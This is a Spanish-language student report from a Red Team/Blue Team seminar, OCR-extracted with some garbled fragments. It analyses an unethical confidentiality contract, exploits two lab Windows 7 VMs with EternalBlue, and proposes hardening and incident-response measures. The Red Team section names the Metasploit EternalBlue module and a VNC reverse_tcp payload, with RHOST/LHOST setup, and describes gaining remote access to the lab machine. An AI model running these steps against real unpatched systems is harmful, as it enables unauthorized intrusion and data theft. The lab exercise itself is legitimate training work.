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RESUMEN

El presente documento contiene el informe técnico donde consignan los
aspectos relevantes del desarrollo de las actividades relacionadas con el
seminario especializacién en seguridad informatica- equipos estratégicos en
ciberseguridad: Red Team & BlueTeam, donde se expone la situacion de
seguridad de la empresa The Whitehouse Security.

El informe contiene el desarrollo de cuatro etapas: Etapa 1 - Conceptos equipos
de Seguridad, Etapa 2 - Actuacion ética y legal, Etapa 3 - Ejecucion pruebas de
intrusion y Etapa 4 - Contencion de ataques informéticos. En primer lugar se
reconoce el problema, y despliegue de infraestructura, seguidamente se realiza
un analisis del problema ético y legal de un contrato de reclutamiento de
personal para integrar los grupos RedTeam & BlueTeam de la empresa. Asi
mismo en la tercera etapa se identifican metodologias de pruebas de
penetracion a través de herramientas especializadas, y finalmente se ejecuta
la explotacion de fallos de ciberseguridad a dos maquinas virtuales con
sistemas operativo de window 7, de arquitectura de 32 y 64 bits

El informe técnico finaliza con el planteamiento de recomendaciones y
conclusiones tendientes a mejorar las estrategias usadas por RedTeam &
BlueTeam en la empresa The Whitehouse Security.
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GLOSARIO

BLUETEAM: Son equipos multidisciplinares de expertos en ciberseguridad
especializados en analizar el comportamiento de los sistemas

CIBERSEGURIDAD: Conjunto de elementos, medidas y equipos destinados a
controlar la seguridad informatica de una entidad o espacio virtual contenidos
deseables de dichas politicas y como le afectan como trabajador definir las reglas
de comportamiento aceptables. La seguridad de la informacion y el modo de tratarla
no es una excepcion. En las siguientes lineas se avanza en los especialmente, la
informacion contenida o circulante

GESTION DE INCIDENTES: Capacidad para gestionar de manera efectiva eventos
inesperados que pueden perjudicar la operacion de las organizaciones con el fin
minimizar su impacto y mantener o restaurar las operaciones dentro de los tiempos
establecidos

HARDENIZACION: (palabra en inglés que significa endurecimiento) en seguridad
informética es el proceso de asegurar un sistema mediante la reduccion de
vulnerabilidades en el mismo, esto se logra eliminando software, servicios, usuarios,
etc; innecesarios en el sistema; asi como cerrando puertos que tampoco estén en
uso

METASPLOIT: Es una herramienta que permite ejecutar y desarrollar sploits contra
sistemas objetivos. Actualmente se encuentra integrado con Kali Linux, una
distribucién de Linux con diversas herramientas orientadas a la seguridad.

NMAP: Es una herramienta de codigo abierto para exploracién de red y auditoria
de seguridad. Se disefio para analizar rapidamente grandes redes. Funciona muy
bien contra equipos individuales.

OPENVAS: Es un framework que tiene como base servicios y herramientas para la
evaluacion de vulnerabilidades y puede utilizarse de forma individual o como parte
de un conjunto de herramientas de seguridad.

PENTESTING: Es una préactica para poner a prueba un sistema informatico, red o
aplicacién web para encontrar vulnerabilidades que un atacante podria explotar.

POLITICAS DE SEGURIDAD: Son el instrumento que adopta la empresa para
Proteccion de la infraestructura computacional y todo lo relacionado con esta.

PROTECCION: Actividades que deben realizarse para asegurar los datos y la
infraestructura informatica critica, asi como a la comunidad de usuarios cuando se
responde a un incidente.



RED TEAM: El concepto de Red Team proviene del ambito militar y es utilizado en
contraposicion con el de Blue Team; englobados ambos dentro de las actividades
de War Gamming o simulaciones de guerra, donde un equipo adquiere el rol de
atacante (Red) y otro de defensor (Blue)

RESTRICCIONES: Por lo general las restricciones son establecidas o reconocidas
por la direccion de la organizacion y estan influidas por el entorno en el cual opera
ésta.

SEGURIDAD INFORMATICA: Es el area de la informética que se enfoca en la
VULNERABILIDAD: Muestra la fragilidad de un sistema (fisico, Técnico,

organizacional, cultural, etc.) que puede ser afectado adversamente, causando
dafios o perjuicios.



INTRODUCCION

En el desarrollo del seminario de profundizacion Seminario Especializado:
Equipos Estratégicos En Ciberseguridad: Red Team & Blue Team, se
desarrollaron un conjunto de actividades, a fin de fortalecer los conocimientos
en seguridad informatica. Se abordaron cuatro etapas: Etapa 1 - Conceptos
equipos de Seguridad, Etapa 2 - Actuacion ética y legal, Etapa 3 - Ejecucién
pruebas de intrusién y Etapa 4 - Contencién de ataques informaticos.

El documento final de este curso, es un informe técnico donde se registran las
actividades de mayor relevancia durante la realizacion del seminario. Es por
ello que en el presente informe, se hace una presentacion de los aspectos mas
importantes desarrollados en este seminario de profundizacion.



1. OBJETIVOS

1.1 OBJETIVO GENERAL

Socializar el informe técnico de los aspectos relevantes del desarrollo de las
actividades del seminario especializacion en seguridad informética- equipos
estratégicos en ciberseguridad: RedTeam & BlueTeam

1.2 OBJETIVOS ESPECIFICOS

1.1.1 Registrar los aspectos mas importantes de las actividades establecidas en
las cuatro etapas del seminario de seguridad informatica

1.1.2 Establecer recomendaciones tendientes a mejorar las estrategias usadas
por RedTeam & BlueTeam en la empresa The Whitehouse Security

1.1.3 Generar las conclusiones finales del informe técnico



2. DESARROLLO DEL INFORME TECNICO

El informe técnico se fundamenta en los siguientes anexos y/o escenarios:

Anexo 1 — Escenario 1. Situacion problema: Montaje banco de trabajo

The Whitehouse Security requiere previamente una instalacion de un banco de
trabajo con el cual el personal postulado a hacer parte de la organizacion debera
utilizar en una serie de escenarios y problemas complejos al interior de The
WhiteHouse Security. El banco de trabajo debe estar basado en herramientas
software Opensource, la recursividad sera vital en este proceso.

De manera simultanea The WhiteHouse security requiere conocer por medio de una
serie de preguntas orientadoras el estado inicial o base del conocimiento de los
aspirantes en cuanto a temas de Ciberseguridad, al resolver estas preguntas la
organizaciéon podra tener una perspectiva global de sus futuros empleados.

Anexo 2 — Escenario 2 Situacion problema: Andlisis legal

La organizacion WhiteHouse Security es una organizacion con reconocimiento a
nivel mundial por asesorar a grandes Gobiernos en procesos de ciberseguridad y
ciberdefensa logrando posicionarse como la organizacion mas importante en el
campo de la seguridad informéatica a nivel mundial, la organizacién ha decidido que
es hora de conformar equipos de Red team y Blue team dentro de su estructura
funcional para aumentar los protocolos de seguridad al interior de esta.

Para dar inicio, la organizaciéon WhiteHouse Security hace entrega de un contrato
para el reclutamiento de sus equipos Red team y Blue team; este contrato fue
elaborado por un abogado que ya no labora con la organizacién y fue despedido por
encontrar algunos procesos ilicitos. La alta gerencia no reviso los contratos con los
gue se reclutara el nuevo personal, por ende, los contratos son entregados sin
modificacién alguna; ante este evento la gerencia solicita tener suma precaucion
antes de firmar el contrato y acuerdos de confidencialidad estipulados para el fin de
contratacion de personal, sin embargo la organizacién aprovecha una serie de
problemas que ha identificado en su interior y como prueba de admision al equipo
Red team y Blue team deciden clasificar una primera misién a la cual deberian dar
respuesta en poco tiempo y trabajar bajo presion “caracteristica” de estos equipos.
También debera proyectar la instalacion de dos maquinas virtuales por medio de
virtualbox para poder ejecutar las sesiones de pruebas en las actividades
posteriores.



Anexo 3 — Acuerdo

Acuerdo de confidencialidad entre nombre estudiante y Whitehouse Security

Anexo 4 — Escenario 3 Situacion problema: Analisis Red team

La primera mision del equipo Red team es lograr identificar porqué medio o proceso
se esta generando una serie de fuga de informacion la cual se presenta al interior
de la organizacién en dos de sus equipos de computo en la dependencia. La
informacion con la que cuenta usted como experto de ciberseguridad es la siguiente:
Los equipos de computo de los cuales se sospecha cuentan con Windows 7 X86 y
X64, estos equipos tienen un sistema operativo antiguo dado a una aplicacion que
solo funciona en dicho S.O. y no pueden ser reemplazados porque la aplicacion no
estd migrada con compatibilidad a otros sistemas operativos. Los equipos de
computo cuentan con un SMBv1 activo para compartir impresoras y algunos
archivos dentro de la red. Al momento de la fuga de informacién (10 de junio de
2020) los S.0. no se encontraban actualizados, y su ultima actualizacion fue el 05
de febrero de 2017 preocupando a la organizacién, porque pueden estar
relacionados al fallo de seguridad con identificador CVE-2017-0144, ademas los
equipos de computo no tienen instalada la actualizacion MS17-010.

Para agilizar el proceso de investigacion WhiteHose Security facilitara los dos
escenarios controlados idénticos al de los equipos de codmputo sospechosos y un
escenario controlado con un S.O orientado al testeto de seguridad para que realice
el trabajo de investigacion sin alterar la infraestructura de produccion de la
organizacion; usted como parte de un equipo Red team deben analizar la
informacion suministrada, y seguir los pasos para encontrar si existe un fallo de
seguridad a nivel de S.O, validar que vulnerabilidad podria encontrar y posterior a
ello buscar el método de explotacion por medio de algun framework o exploit.
WhiteHouse Security le recuerda que no tienen conocimiento cuél de los dos
equipos de computo es el que esta generando la fuga de informacién, y mencionan
también, que en ocasiones uno de esos dos equipos de coOmputo suele mostrar
pantalla azul error de Windows de una manera constante. Recuerde que su mision
es confirmar y evidenciar las posibles explotaciones paso a paso, el archivo que
contiene la informacion que han estado extrayendo tiene el nombre de
“‘winse20w0.exe”, si usted logra acceder al equipo de computo de manera intrusiva
debera encontrar el archivo mencionado y tomar pantalla de la informacion alli
generada, y ademas validar por qué uno de esos equipos de cOmputo suele mostrar
pantalla azul error de windows. Si obtiene esta informaciébn podremos decir:
BIENVENIDO AL RED TEAM WHITEHOUSE SECURITY, este mensaje se
destruira en 3, 2, 1, ... kernel panic...
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Anexo 5 — Escenario 4 Situacion problema: Anélisis Blue team

WhiteHouse Security solicita a sus integrantes de Blueteam contener y sacar
adelante un ataque informatico el cual se esta produciendo en tiempo real. Las
maquinas para analizar son las mismas maquinas con sistema operativo Windows
7 X86 y X64 analizadas en un evento anterior. La organizacion requiere un analisis
exhaustivo de lo que esta sucediendo a nivel técnico “sistema operativo, red”, con
la informacién recolectada se espera que dentro de su grado de experticia usted
como miembro de un equipo Blue team logre contener el ataque para evitar que se
genere mas dafio a nivel interno de la organizacion. WhiteHose Security le informa
gue no existe presupuesto para hacer uso de herramientas de pago, por ende, el
experto en Ciberseguridad deber& optar por una serie de herramientas minimo con
licencia GPL.

INFORME TECNICO
Anexo 1 — Escenario 1. Situacion problema: Montaje banco de trabajo

En el desarrollo de la actividad de implementd el montaje del banco de trabajo con
las siguientes herramientas y equipos:

Virtualbox

Maquina virtual de Kali Linux

Maquina virtual win7-SE2020

Maquina virtual Win7-SE2020-X64-002
Dos (02) equipos portatiles

VVVYY

Luego de la instalacion de Virtualbox, se procedi6 a la importacion de las maquinas
virtuales y finalmente se verificd la comunicacion entre las mimas.

Imagen No. 1 Maquinas virtuales banco de trabajo.
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Fuente: Propia
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Imagen No. 2 IP maquinas virtuales. Imagen No. 3 IP méaquinas virtuales

fffi'" - - = w A
IP M.V Windows win7-SE2020 192.168. 1 11

IP Maquina virtual Kali Linux 192.168.1.17

Fuente: Propia Fuente: Propia

Imagen No. 4 Comunicacion MV Imagen No. 5 Comunicacion Maquinas Virtuales

/- e
" €3 S A = R
Comunicacion Kali Linux - Windows win7- Comunicacion Windows win7-SE2020 — Kali
SE2020 Linux
Fuente: Propia Fuente: Propia

Anexo 2 - Escenario 2 Situacion problema: Analisis legal - Anexo 3 - Acuerdo

En la actividad se solicito el analisis legal de un contrato de reclutamiento por parte
de la empresa WhiteHouse Security, para la organizacion de sus equipos Red team
y Blue team

Los acuerdos de confidencialidad son utilizados por diferentes empresas con el fin
de proteger la informacion de la organizacién; que tiene por objetivo la obligacion
de guardar y no revelar a terceros informacion confidencial de la empresa. El
acuerdo de confidencialidad se fundamenta en el principio de buena fe. Segun
Carlos Andrés Perilla Castro el mismo se emplea para proteger el deber
precontractual de confidencialidad que se relaciona con el caracter secreto de la
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informacion y el deber de guardar el secreto. En el ordenamiento juridico
colombiano no se ha desarrollado una legislacion expresa en el tema, a ella le es
aplicable la de los contratos y las obligaciones, ya que se considera que ello es
suficiente.

En el documento Acuerdo de Confidencialidad - Anexo 3-, se evidenci6 claramente
aspectos ilegales y no éticos, entre los que podemos sefalar:

Enlaclausula primera - Objeto-, obligan ala parte receptora a no divulgar directa
o indirectamente procesos ilegales dentro de la empresa, haciéndolo parte de un
proceso que va contra la Ley

Primera. Objeto: en virtud del presente acuerdo de confidencialidad, la
parte receptora, se obliga a no divulgar directa, indirecta, préxima a
remotamente, ni a través de ninguna otra persona o de sus subalternos o
funcionarios, autoridades legales, asesores o cualquier persona relacionada
conella, lainformacién confidencial o sobre procesos ilegales dentro de
Whitehouse Security no podran ser divulgados

Asi mismo, en la clausula segunda — Definicion de informacion confidencial-,
se induce a la parte receptora a la comision de delito, al considerar como
informacion confidencial los “datos de chuzadas, interceptacion de informacion,
accesos abusivos a sistemas informaticos”.

2. Cualquier informacion societaria, técnica, juridica, financiera, comercial,
de mercado, estratégica, de productos, nuevas tecnologias, patentes,
modelos de utilidad, disefios industriales, datos secretos como “datos de
chuzadas, interceptacion de informacion, accesos abusivos a
sistemas informaticos”.

Dentro de las obligaciones establecidas en la clausula cuarta, se obliga al parte
receptora a no denunciar actos ilicitos y no éticos:

3. No denunciar ante las autoridades actividades sospechosas de
espionaje o cualquier otro proceso en el cual intervenga la apropiacion
de informacién de terceros
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4. Abstenerse de denunciar y publicar la informacién confidencial e
ilegal que conozca, reciba o intercambie con ocasién de las reuniones
sostenidas.

9. La parte receptora se obliga a no transmitir, comunicar revelar o de
cualquier otra forma divulgar total o parcialmente, publica o
privadamente, la informacién confidencial o ilegal sin el previo
consentimiento por escrito por parte de Whitehouse Security.

Igualmente, se registra en este acuerdo, que la parte receptora debe responder
por el mal uso de la informacion confidencial que den sus representantes, como
también responder ante la Ley, en caso que le sean encontradas este tipo de
informacion.

7. Responder por el mal uso gqgue le den sus representantes a la
informacion confidencial

8. Responder ante las autoridades competentes como responsable en
caso de gue la informacién se encuentre en su poder dentro de un
proceso de allanamiento.

Finalmente en la clausula octava - Solucién de controversias-, la empresa deja
toda responsabilidad de sus procesos ilicitos- informacion ilegal - en manos de la
parte receptora, dejando exenta de cualquier responsabilidad legal y penal a la
organizacion.

Octava. Solucion de controversias: Las partes (hombre estudiante — nombre
empresa) se comprometen a esforzarse en resolver mediante los
mecanismos alternativos de solucion de conflictos cualquier diferencia que
surja con motivo de la ejecucion del presente acuerdo. En_caso_gue la
informacion ilegal o confidencial sea encontrada en manos del receptor
este debera acudir a un abogado privado y dejar exenta de cualquier
responsabilidad legal y penal a Whitehouse Security.

Anexo 4 — Escenario 3 Situacion problema: Andlisis Red team

El propésito de esta actividad es lograr identificar porqué medio o proceso se esta
generando una serie de fuga de informacion la cual se presenta al interior de la
organizacién en dos de sus equipos de computo en la dependencia. Se cuenta con
la siguiente informacion:
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Los equipos de computo de los cuales se sospecha cuentan con Windows 7 X86 y
X64, estos equipos tienen un sistema operativo antiguo dado a una aplicacion que
sélo funciona en dicho S.O.

Los equipos de computo cuentan con un SMBvV1 activo para compartir impresoras
y algunos archivos dentro de la red.

Al momento de la fuga de informacion (10 de junio de 2020) los S.O. no se
encontraban actualizados, y su Ultima actualizacion fue el 05 de febrero de 2017
preocupando a la organizacion, porque pueden estar relacionados al fallo de
seguridad con identificador CVE-2017-0144

Los equipos de computo no tienen instalada la actualizacion MS17-010.

Para el desarrollo de la actividad solicitada en el anexo 4, se utilizaron las siguientes
herramientas:

e VirtualBox: Es una aplicacién que sirve para hacer maquinas virtuales con
instalaciones de sistemas operativos

Imagen No. 6 Pantalla de virtualbox.

Fuente: Propia
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e Maquina virtual Kali — Seminario: Es una distribucion basada en Debian
GNU/Linux disefiada principalmente para la auditoria y seguridad informatica en
general

Imagen No. 7 Pantalla de Kali linux.

Fuente: Propia

e Maquina virtual Win7-SE2020-X64-002. Maquina virtual disefiada para laboratorio

Imagen No. 8 Pantalla Maquina virtual Win7-SE2020-X64-002.

08:32 p.m.
26/09/2020 |

< %@ Eh)

Fuente: Propia

16



e Maquina virtual win7-SE2020: Maquina virtual disefiada para laboratorio

Imagen No. 9 Pantalla Maquina virtual win7-SE2020.

N0 ‘,,
Fuente: Propia

e Nmap: Es una utilidad de software libre para explorar, administrar y auditar la
seguridad de redes de ordenadores

Imagen No. 10 Escaneo de vulnerabilidad con Nmap.

Fuente: Propia

e Metasploit Framework. Es una de las herramientas mas utilizadas por los auditores
de seguridad. Incluye una gran coleccién de exploits, a parte de proporcionale un
entorno de desarollo para los propios exploits. esta herramienta también es muy
utilizada por los auditores de seguridad debido a su facil implementacion con otras
herramientas como nmap, escaners de vulneravilidades
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Imagen No. 11 Pantalla Metasploit Framework

Fuente: Propia

Una vez instaladas las diferentes herramientas, se procedié a explotar las
diferentes vulnerabilidades de las maquinas virtuales.

Desde Kali Linux se escanearon las vulnerabilidades de las maquinas virtuales a
través de la herramienta Nmap. Desde Metasploit se realizaron los ataques a cada
una de las maquinas, de acuerdo a las vulnerabilidades encontradas.

En la Maquina virtual win7-SE2020 se pudo establecer que el puerto 445 se
encontraba abierto y se pudo realizar un ataque, estableciendo el problema de la
pantalla azul.

En primer lugar, se verifico la comunicacion entre las maquinas

Imagen No. 12 Pantalla IP maquinas virtuales

B 5 e m S

IP M.V Windows win7-SE2020 192.168.1.11

IP Maquina virtual Kali Linux 192.168.1.17

Fuente: Propia
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Imagen No. 13 Comunicacion de maquinas virtuales

Comunicacion Kali Linux - Windows win7- Comunicacion Windows win7-SE2020 — Kali
SE2020 Linux

Fuente: Propia

En el escaneo se identifica que el puerto 445/tcp se encuentra abierto. Este puerto es
asignado a NetBIOS, Network Basic Input / Output System y hace que la red sea
vulnerable a los ataques de los piratas informéatico

Imagen No. 14 Escaneo de maquinas virtuales

Fuente: Propia
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Con Metasploit Framework, iniciamos los ataques a la maquina virtual en el puerto 445

Imagen No. 15 Ataque con metasploit

Fuente: Propia

Ahora atacamos para identificar la vulnerabilidad de la “pantalla azul”

Imagen No. 16 Ataque con metasploit

Fuente: Propia
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Imagen No. 17 Pantalla azul — Windows 7

@ or@s U @ e)anDered

Fuente: Propia

En la Maquina virtual Win7-SE2020-X64-002, se establecio la vulnerabilidad MS17-010,
el cual, mediante un esploit pudimos acceder a la maquina y encontrar el archivo
“winse20w0.exe”

En primer lugar, se verifico la comunicacion entre las maquinas

Imagen No. 18 Pantalla IP maquinas virtuales

1 B0~ e R D

# Fthernet Con. in d local:

fidaptador de ti

IP Maguina virtual Kali Linux 192.168.1.13 IP M.V Win7-SE2020-X64-002 192.168.1.16

Fuente: Propia
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Imagen No. 19 Comunicacién de méaquinas virtuales

feS1:0BhBx11

Comunicacion MV Kali Linux con M.V Win7-SE2020- Comunicacion M.V Win7-SE2020-X64-002 con MV
X64-002 Kali Linux

Fuente: Propia

Realizamos el escaneo de la maquina victima con la herramienta nmap

Imagen No. 20 Escaneo de maquinas virtuales

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

ng Nmaf 8 tty

Fuente: Propia
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Realizamos un nuevo escaneo de la maquina victima con la herramienta nmap, con

Imagen No. 21 Escaneo de maquinas virtuales

estudiante@seminario: ~[Escritorio

Archive Acciones Editar ta Ayuda

>
B i@ s 16# 06 e omon

Fuente: Propia

Con metasploit iniciamos el atague con el siguiente exploit:
use exploit/windows/smb/ms17_010_eternalblue

Observamos las opciones

Imagen No. 22 Ataque con metasploit de maquinas virtuales

g [ | D ..‘ E] estudiante@seminario: ~ [estudiante@seminario: .. £] [estudiante@seminario: ... 09:28PM O o
estudiante@seminario: ~

] Archivo Acciones Editar Vista Ayuda

y exploit(

Fuente: Propia
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Luego configuramos el RHOST con la IP de la victima [192.168.1.16] y aplicamos el
siguiente payload:

use payload windows/x64/vncinject/reverse_tcp

Imagen No. 23 Ataque con metasploit de maquinas virtuales

’h ‘ - . |:| 1| =] estudiante@seminario: ~ [estudiante@seminario: ... [estudiante @seminario: ... 09:27PM O

estudiante@seminario: ~

Archivo Acciones Editar Vista

<

Bogo =il e or s
Fuente: Propia

Luego configuramos el LHOST con la IP de la maquina atacante [192.168.1.13] y
modificamos el parametro ViewOnly dejando en false

Imagen No. 24 Ataque con metasploit de maquinas virtuales

‘l_h. | - W ] -.| E] estudia eminario: ~ [£] [estudian eminario: .. =] [estudian minario: ... 09:31PM O o

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

Fuente: Propia

24



Verificamos nuestras opciones y observamos la IP LHOST correspondiente a la
maquina atacante

Imagen No. 25 Ataque con metasploit de maquinas virtuales

Fuente: Propia

Corremos nuestro exploit

Imagen No. 26 Ataque con exploit de maquinas virtuales
| @

‘|_§_ | om0 -,| E estudiante@s ] [estudi ario: .. [£] [estudiante@seminario: ... 09:31PM O o

i Archivo Acciones Editar Vista Ayuda

Fuente: Propia
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Resultado del exploit

Imagen No. 27 Registro ataque con exploit de maquinas virtuales

] | E estudia seminario... [estudiante@seminari... [estudiante@seminari.. M TightVNC: pc202006 09:13PM O o

estudiante@seminario: ~

Archivo Acciones Editar Vista Ayuda

[+]

Fuente: Propia
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Una vez corrido el exploit tenemos acceso a la maquina victima. Una vez en la maquina
localizamos el archivo winse20wO0 y lo ejecutamos con el resultado que se muestra en
la siguiente gréfica:

Imagen No. 28 Pantallazo con ejecucién de winse20w0

A CAUsers\semi\winse20wd. exe
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Fuente: Propia

Imagen No. 29 Pantallazo maquinas virtuales anfitrién y victima . Fuente: Autor del documento

Magquina Virtual Win7-SE2020-X64-002

Fuente: Propia
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Anexo 5 — Escenario 4 Situacion problema: Analisis Blue team

WhiteHouse Security solicita contener y sacar adelante un ataque informatico, el
cual se esta produciendo en tiempo real. Las maquinas para analizar son las
mismas maquinas con sistema operativo Windows 7 X86 y X64 analizadas en un
evento anterior. Se requiere un analisis exhaustivo de lo que esta sucediendo a
nivel técnico “sistema operativo, red”, y contener el ataque para evitar que se

genere mas dafo a nivel interno de la organizacion. WhiteHose Security

Del problema planteado, se dan respuestas a los siguientes interrogantes:

1. ¢Qué serialo primero que indagaria y haria si llegara a encontrarse
un ataque en tiempo real? Especifique su respuesta con argumentos
técnicos.

Lo primero que indagaria seria que si la empresa cuenta con el documento
Modelo de Gestion de Incidentes de seguridad de la informacion y de ser
afirmativa, se establece la estrategia que permita tomar decisiones
oportunamente para evitar la propagacion del incidente, y asi disminuir los
dafos a los recursos de Tl y la pérdida de la confidencialidad, integridad y
disponibilidad de la informacién.

Esta fase se descompone claramente en tres componentes:

Contencidn: esta actividad busca la deteccién del incidente con el fin de que
no se propague y pueda generar mas dafios a la informacién o a la
arquitectura de TI, para facilitar esta tarea la entidad debe poseer una
estrategia de contencion previamente definida para poder tomar decisiones
por ejemplo: apagar sistema, desconectar red, deshabilitar servicios.

La estrategia de contencion varia segun el tipo de incidente y los criterios
deben estar bien documentados para facilitar la rapida y eficaz toma de
decisiones. Algunos criterios que pueden ser tomados como base son:

Criterios Forenses

Dafio potencial y hurto de activos

Necesidades para la preservacién de evidencia

Disponibilidad del servicio

Tiempo y recursos para implementar la estrategia

Efectividad de la estrategia para contener el incidente (parcial o total)
Duracién de la solucion
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Erradicacion y Recuperacion: Después de que el incidente ha sido
contenido se debe realizar una erradicacion y eliminacién de cualquier rastro
dejado por el incidente como cédigo malicioso y posteriormente se procede
a la recuperacion a través de la restauracion de los sistemas y/o servicios
afectados para lo cual el administrador de Tl o quien haga sus veces deben
restablecer la funcionalidad de los sistemas afectados, y realizar un
endurecimiento del sistema que permita prevenir incidentes similares en el
futuro.

2. ¢Teniendo en cuenta el ataque ejecutado desde el ejercicio de Red
team qué medidas de hardenizacion propondria para que el ataque
no se repita?

Hardening: En seguridad informatica es el proceso de asegurar un sistema
mediante la reduccién de vulnerabilidades en el mismo, esto se logra
eliminando software, servicios, usuarios, etc; innecesarios en el sistema; asi
como cerrando puertos que tampoco estén en uso ademas de muchas otros
meétodos y técnicas.

Para nuestro caso, La maquina virtual Win7-SE2020-X64-002, presento
fallos en el sistema operativo y fue accedida remotamente, teniendo acceso
a archivos de interés para la empresa. Para proteccion de la maquina de una
nueva intrusion, se hace necesario ejecutar las siguientes actividades en la
maquina virtual victima:

Activacion del firewall

Actualizacion del antivirus

Actualizacién del sistema operativo

Desactivar el acceso remoto

Bloqueo de puertos

Configuracion adecuada de permisos de seguridad en archivos y
carpetas

YVVYVYYY

3. ¢Describa con sus palabras las diferencias entre un equipo
Blueteam y un equipo de respuesta a incidentes informaticos?

En seguridad informatica, un equipo Blueteam, es un equipo de la seguridad
defensiva, realiza vigilancia permanente de patrones y comportamientos que
se salen de lo comun en la empresa, identificando fallos y vulnerabilidades
de los sistemas informaticos; verificando las medidas de seguridad de la
organizacion de una manera integral; es decir la realizacion de las
evaluaciones de amenazas que puedan afectar la seguridad informatica de

29



la empresa y recomendar planes de mitigacion; mientras que un equipo de
respuesta a incidentes informaticos; es quien da solucion al incidente como
tal; es decir, hace la contencion, la erradicacion y recuperacion del incidente;
ellos resuelven el problema como tal, son como bomberos, apaga incendios.

En términos generales, un equipo Blueteam establece las estrategias
defensivas para los sistemas informaticos de la organizacion; pero como
ningun sistema es seguro; cuando se presentan los ataques informaticos; los
equipo de respuesta a incidentes informaticos, son los que dan solucion a la
problemética presentada.

4. ¢Si dentro de un equipo Blueteam le indican que debe trabajar con
CIS “Center For Internet Security” usted lo utilizaria para qué fin?

El Center for Internet Security (CIS) es una entidad sin fines de lucro con
vision de futuro que aprovecha el poder de una comunidad de Tl global para
proteger a las organizaciones publicas y privadas contra las amenazas
cibernéticas.

La misién CIS

» ldentificar, desarrollar, validar, promover y mantener las mejores
practicas en ciberseguridad

» Ofrecer soluciones de seguridad de clase mundial para prevenir y
responder rapidamente a los incidentes cibernéticos

» Construir y liderar comunidades para permitir un entorno de confianza
en el ciberespacio.

En relacion a la pregunta, el Center For Internet Security lo utilizaria para
desarrollar evaluaciones de vulnerabilidad; monitoreo y analisis de
redes de la organizacion.

5. Explique y redacte las funciones y caracteristicas principales de lo que es

un SIEM.

SIEM o Gestion de Eventos e Informacion de Seguridad (Security Information and
Event Management) es una categoria de software que tiene como objetivo otorgar
a las organizaciones informacioén til sobre potenciales amenazas de seguridad de
sus redes criticas de negocio, a traves de la estandarizacion de datos y priorizacion
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de amenazas. Esto es posible mediante un andlisis centralizado de datos de
seguridad, obtenidos desde multiples sistemas, que incluyen aplicaciones antivirus,
firewalls y soluciones de prevencion de intrusiones.

Dentro de las caracteristicas y funciones del SIEM, podemos sefialar las siguientes:

vV V VY VVY

Centralizar la vista de potenciales amenazas

Determinar qué amenazas requieren resolucion y cuales son solamente ruido
Escalar temas a los analistas de Seguridad apropiados, para que puedan
tomar una accion rapida

Incluir el contexto de los eventos de Seguridad para permitir resoluciones
bien informadas

Documentar, en un registro de auditoria, los eventos detectados y como
fueron resueltos

Cumplir con las regulaciones de la industria en un formato de reporte sencillo

Defina por lo menos 3 herramientas de contencion de ataques informéticos
“hardware o software”, recuerde que las herramientas de contencioén son
diferentes a las herramientas de deteccién

Seguridad perimetral: El término seguridad perimetral es muy amplio y ha
tenido diversas atribuciones a lo largo del tiempo. El perimetro esta formado
por las maquinas y los dispositivos que se sitian en la frontera de nuestra red,
donde ésta interactla con el exterior, con otras redes. La seguridad perimetral
ha controlado tradicionalmente esta frontera, vigilando las comunicaciones
para evitar accesos no autorizados, salida de datos desde el interior y ataques
desde el exterior. Se podria decir que con la evolucion de las TIC, el perimetro
ha cambiado. Se describen a continuacion las categorias de productos que
proporcionan seguridad perimetral: principalmente la categoria denominada
CORTAFUEGOS, VPN e IPS/IDS, con todas sus subcategorias, y la categoria
de GESTION y CONTROL de ACCESO E IDENTIDAD, en particular la
subcategoria de Control de acceso a red. Las herramientas de las categorias
seleccionadas nos protegen de las amenazas externas procedentes de la red
o0 redes a las que estamos conectados, como intentos de acceso no
autorizados desde Internet u otras redes externas, denegando las
transmisiones y vigilando todos los puertos de red

Actualizaciones de seguridad. Se torna fundamental actualizar en forma
periodica el sistema operativo y todas las aplicaciones instaladas en la PC, ya
gue ello aumentara considerablemente el nivel de seguridad y minimizara la
posibilidad de ser victimas de usuarios mal intencionados. Ademas, la
implementacion de soluciones de seguridad, como antivirus con capacidades
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de deteccion proactiva y firewall, contribuye a cerrar la ventana de
vulnerabilidad y asi evitar posibles ataques. Asimismo, es primordial priorizar
la actualizacion de la base de firmas del antivirus, siempre teniendo presente
que el no hacerlo aumenta potencialmente la posibilidad de infeccion vy
disminuye la eficacia de la proteccion de la herramienta de seguridad
implementada

Bloqueo de dispositivos removibles. La proliferacion de dispositivos
removibles [10] que interactian con el sistema a través del puerto USB como
los pendrive, o flashdrive, memorias USB, etc., se han transformado en un
vector de ataque y propagacion muy utilizados por codigos maliciosos. El uso
de este tipo de dispositivos se ha masificado a nivel global constituyendo un
medio muy empleado para el robo de informacién debido a su facilidad de
empleo. A tal efecto, se torna de vital importancia bloquear los puertos USB.
Sin embargo, esto supone un desafio debido a que otros dispositivos, tales
como scanners o impresoras, utilizan estos puertos para estar conectados al
sistema.

Realizar copias de seguridad de los archivos criticos. Otra de las
caracteristicas mas comunes del malware es no considerar ni respetar las
necesidades de los usuarios, por lo que muchas veces sus acciones
destructivas derivan en el mal funcionamiento del sistema, el dafio y/o
eliminacion de archivos criticos del sistema. En este sentido, es importante
adoptar como buena préactica la realizacion de copias de seguridad de la
informacion a fuentes externas como cintas, CD, DVD, discos rigidos, etc.
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3. CONCLUSIONES

Una vez finalizada las actividades del seminario especializacion en seguridad
informatica- equipos estratégicos en ciberseguridad: Red Team & BlueTeam, se
pueden establecer las siguientes conclusiones, a fin de lograr la construccion del
conocimiento desde el enfoque de la ciberseguridad:

e Las empresas deben contar con un Sistema de Gestion de Seguridad de La
Informacion

e Establecimiento de equipos de Red Team & BlueTeam en las empresas

e Implementacion entre otras, las siguientes medidas de seguridad

Activacion del firewall

Actualizacién del antivirus

Actualizacién del sistema operativo

Desactivar el acceso remoto

Bloqueo de puertos

Configuracion adecuada de permisos de seguridad en archivos y carpetas

O O O O O O

e Ejecucién de medidas de hardenizacion
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4. RECOMENDACIONES

En el marco de la seguridad informética, se plantean las siguientes
recomendaciones y/o estrategias que permitan endurecer los aspectos de
seguridad en una organizacion:

» Configuraciones necesarias para protegerse de posibles ataques fisicos o de
hardware de la maquina. Entre otras actividades, destacan el upgrade de
firmware, el establecimiento de contrasefias complejas para el arranque del
equipo y la configuracion de la BIOS, la deshabilitacion de inicio de sistema para
cualquier unidad que no sea el disco duro principal, y en casos de servidores, la
deshabilitacion de dispositivos épticos, usb o similares, para evitar cualquier
entrada de malware desde un medio de almacenamiento externo.

» Instalacion segura del sistema operativo. Esto implica, entre otras cosas, el
